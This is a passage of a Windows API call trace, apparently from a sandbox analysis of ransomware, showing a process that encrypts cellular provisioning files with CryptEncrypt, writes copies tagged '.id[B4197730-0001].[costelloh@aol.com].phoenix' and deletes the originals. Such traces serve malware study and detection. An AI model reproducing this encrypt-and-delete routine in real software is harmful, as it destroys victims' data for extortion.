	[0238.259] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0238.259] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.259] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=481) returned 1
	[0238.259] CloseHandle (hObject=0x2f0) returned 1
	[0238.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.260] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.260] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.260] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.260] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0238.260] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0238.260] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.260] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e1, lpOverlapped=0x0) returned 1
	[0238.261] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0238.261] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0238.262] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0238.262] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.262] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0238.262] CryptDestroyKey (hKey=0x151440) returned 1
	[0238.262] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0238.262] CryptDestroyKey (hKey=0x151380) returned 1
	[0238.262] CloseHandle (hObject=0x2f0) returned 1
	[0238.263] CloseHandle (hObject=0x2f4) returned 1
	[0238.263] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\200__connections_cellular_asiacell (iraq)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.264] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0238.264] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0238.265] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=776) returned 1
	[0238.265] CloseHandle (hObject=0x2f4) returned 1
	[0238.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.265] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0238.267] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.267] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.268] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.268] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1510c0) returned 1
	[0238.268] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.268] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x308, lpOverlapped=0x0) returned 1
	[0238.710] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310, dwBufLen=0x310 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310) returned 1
	[0238.710] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x310, lpOverlapped=0x0) returned 1
	[0241.003] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151400) returned 1
	[0241.004] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0241.004] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0241.004] CryptDestroyKey (hKey=0x151400) returned 1
	[0241.004] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0241.004] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0241.004] CloseHandle (hObject=0x2f4) returned 1
	[0241.004] CloseHandle (hObject=0x2f0) returned 1
	[0241.004] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\201__connections_cellular_korektelecom (iraq)_i0$(__mvid)@wap.provxml")) returned 1
	[0241.006] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0241.006] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0241.006] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=647) returned 1
	[0241.006] CloseHandle (hObject=0x2f0) returned 1
	[0241.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0241.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.006] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0241.006] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0241.007] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0241.007] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0241.007] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151580) returned 1
	[0241.007] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0241.007] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x287, lpOverlapped=0x0) returned 1
	[0241.164] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0241.164] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0241.165] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0241.165] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0241.165] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0241.165] CryptDestroyKey (hKey=0x151040) returned 1
	[0241.165] WriteFile (in: hFile=0x2f4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0241.165] CryptDestroyKey (hKey=0x151580) returned 1
	[0241.165] CloseHandle (hObject=0x2f0) returned 1
	[0241.165] CloseHandle (hObject=0x2f4) returned 1
	[0241.166] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml")) returned 1
	[0241.167] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0241.167] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0241.167] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=763) returned 1
	[0241.167] CloseHandle (hObject=0x2f4) returned 1
	[0241.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0241.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.167] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0241.167] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0241.168] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0241.168] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0241.168] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0241.168] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0241.168] ReadFile (in: hFile=0x2f4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2fb, lpOverlapped=0x0) returned 1
	[0241.954] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x300, dwBufLen=0x300 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x300) returned 1
	[0241.954] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x300, lpOverlapped=0x0) returned 1
	[0241.955] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0241.955] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0241.955] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0241.955] CryptDestroyKey (hKey=0x151500) returned 1
	[0241.955] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0241.955] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0241.955] CloseHandle (hObject=0x2f4) returned 1
	[0241.956] CloseHandle (hObject=0x2f0) returned 1
	[0241.956] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml")) returned 1
	[0241.957] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0241.957] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0241.958] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=494) returned 1
	[0241.958] CloseHandle (hObject=0x2f0) returned 1
	[0241.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0241.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
